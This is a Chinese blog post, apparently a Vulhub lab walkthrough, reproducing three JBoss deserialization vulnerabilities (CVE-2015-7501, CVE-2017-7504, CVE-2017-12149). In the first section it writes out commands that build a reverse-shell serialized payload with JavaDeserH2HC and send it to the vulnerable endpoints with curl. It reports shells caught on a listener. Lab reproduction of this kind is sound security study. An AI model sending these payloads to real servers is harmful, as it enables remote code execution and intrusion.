[Vulhub] JBoss反序列化漏洞复现

文章目录

  • JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)
    • 0x00 漏洞描述
    • 0x01 影响版本
    • 0x02 漏洞分析
    • 0x03 漏洞复现
  • JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)
    • 0x00 漏洞描述
    • 0x01 影响版本
    • 0x02 漏洞分析
    • 0x03 漏洞复现
  • JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)
    • 0x00 漏洞描述
    • 0x01 影响版本
    • 0x02 漏洞分析
    • 0x03 漏洞复现


JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)

0x00 漏洞描述

JBoss是一个基于J2EE的开放源代码应用服务器,代码遵循LGPL许可,可以在任何商业应用中免费使用;JBoss也是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。在J2EE应用服务器领域,JBoss是发展最为迅速的应用服务器。由于JBoss遵循商业友好的LGPL授权分发,并且由开源社区开发,这使得JBoss广为流行。

这是经典的JBoss反序列化漏洞,JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。


0x01 影响版本

JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10
JBoss AS (Wildly) 6 and earlier
JBoss A-MQ 6.2.0
JBoss Fuse 6.2.0
JBoss SOA Platform (SOA-P) 5.3.1
JBoss Data Grid (JDG) 6.5.0
JBoss BRMS (BRMS) 6.1.0
JBoss BPMS (BPMS) 6.1.0
JBoss Data Virtualization (JDV) 6.1.0
JBoss Fuse Service Works (FSW) 6.0.0
JBoss Enterprise Web Server (EWS) 2.1,3.0


0x02 漏洞分析

JBoss在处理/invoker/JMXInvokerServlet请求的时候读取了对象,所以我们直接将ysoserial生成好的POC附在POST Body中发送即可。

此漏洞存在于JBoss中 /invoker/JMXInvokerServlet 路径。访问若提示下载 JMXInvokerServlet,则可能存在漏洞。


0x03 漏洞复现

漏洞验证,访问http://your-ip:8080/invoker/JMXInvokerServlet提示下载文件,则可能存在漏洞:
[Vulhub] JBoss反序列化漏洞复现_第1张图片
使用 JavaDeserH2HC 工具生成序列化数据,工具地址:https://github.com/joaomatosf/javadeserh2hc

生成序列化数据,并默认重定向到ReverseShellCommonsCollectionsHashMap.ser文件(用ysoserial工具复现失败,没能找到原因):

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar  ReverseShellCommonsCollectionsHashMap ip:port //监听机的ip和端口
curl http://192.168.1.142:8080//invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

利用curl提交二进制数据:
[Vulhub] JBoss反序列化漏洞复现_第2张图片
成功接收shell:
[Vulhub] JBoss反序列化漏洞复现_第3张图片


JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)

0x00 漏洞描述

JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation LayerHTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。


0x01 影响版本

JBoss AS 4.x及之前版本


0x02 漏洞分析

与CVE-2015-7501的漏洞如出一辙,只是利用的路径稍微出现了变化。

该漏洞出现在/jbossmq-httpil/HTTPServerILServlet请求中,若访问200,则可能存在漏洞。


0x03 漏洞复现

访问http://your-ip:8080/jbossmq-httpil/HTTPServerILServlet,若出现以下界面,则可能存在漏洞:
[Vulhub] JBoss反序列化漏洞复现_第4张图片
与CVE-2015-7501复现流程相同,只是最后请求的url路径不同:
[Vulhub] JBoss反序列化漏洞复现_第5张图片
成功接收到shell:
[Vulhub] JBoss反序列化漏洞复现_第6张图片


JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)

0x00 漏洞描述

该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致攻击者可以通过精心设计的序列化数据来执行任意代码。


0x01 影响版本

JbossAS 5.x
JbossAS 6.x


0x02 漏洞分析

该漏洞出现在/invoker/readonly请求中,服务器将用户提交的POST内容进行了Java反序列化,导致传入的携带恶意代码的序列化数据执行。

访问/invoker/readonly, 如果出现报 500 错误,则说明目标机器可能存在此漏洞。


0x03 漏洞复现

访问http://your-ip:8080/invoker/readonly,则可能存在漏洞:
[Vulhub] JBoss反序列化漏洞复现_第7张图片
复现流程一样:
在这里插入图片描述
成功反弹shell:
[Vulhub] JBoss反序列化漏洞复现_第8张图片


参考链接:
https://cloud.tencent.com/developer/article/1672993(Jboss漏洞利用总结)

你可能感兴趣的:(漏洞复现,jboss,渗透测试,安全漏洞)